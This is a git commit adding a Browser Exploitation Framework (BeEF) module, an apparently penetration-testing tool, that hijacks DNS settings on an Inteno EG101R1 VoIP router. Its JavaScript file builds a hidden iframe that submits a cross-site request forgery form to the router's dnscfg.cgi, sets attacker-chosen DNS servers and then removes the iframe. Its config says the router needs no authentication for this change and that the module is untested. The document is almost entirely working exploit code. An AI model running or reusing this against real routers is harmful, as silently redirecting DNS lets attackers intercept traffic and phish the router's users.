Add Inteno EG101R1 VoIP Router DNS Hijack module
This commit is contained in:
@@ -0,0 +1,60 @@
|
||||
//
|
||||
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
// config
|
||||
var target = 'http://<%= @rhost %>/dnscfg.cgi';
|
||||
var dns1 = '<%= @dns1 %>';
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var inteno_eg101r1_voip_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
{'type':'hidden', 'name':'dnsPrimary', 'value': dns1},
|
||||
{'type':'hidden', 'name':'dnsSecondary', 'value': dns2},
|
||||
{'type':'hidden', 'name':'dnsDynamic', 'value': '0'},
|
||||
{'type':'hidden', 'name':'dnsRefresh', 'value': '1'}
|
||||
]);
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
||||
|
||||
// clean up
|
||||
cleanup = function() {
|
||||
document.body.removeChild(inteno_eg101r1_voip_iframe_<%= @command_id %>);
|
||||
}
|
||||
setTimeout("cleanup()", timeout*1000);
|
||||
|
||||
});
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
#
|
||||
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
# References:
|
||||
# https://www.exploit-db.com/exploits/40368/
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
inteno_eg101r1_voip_dns_hijack:
|
||||
enable: true
|
||||
category: ["Exploits", "Router"]
|
||||
name: "Inteno EG101R1 VoIP Router DNS Hijack"
|
||||
description: "Attempts to change the DNS setting on a Inteno EG101R1 VoIP router.<br/><br/>The Inteno EG101R1 VoIP router reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested."
|
||||
authors: ["Todor Donev"]
|
||||
target:
|
||||
unknown: ["ALL"]
|
||||
@@ -0,0 +1,20 @@
|
||||
#
|
||||
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Inteno_eg101r1_voip_dns_hijack < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [
|
||||
{'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1'},
|
||||
{'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8'},
|
||||
{'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4'}
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user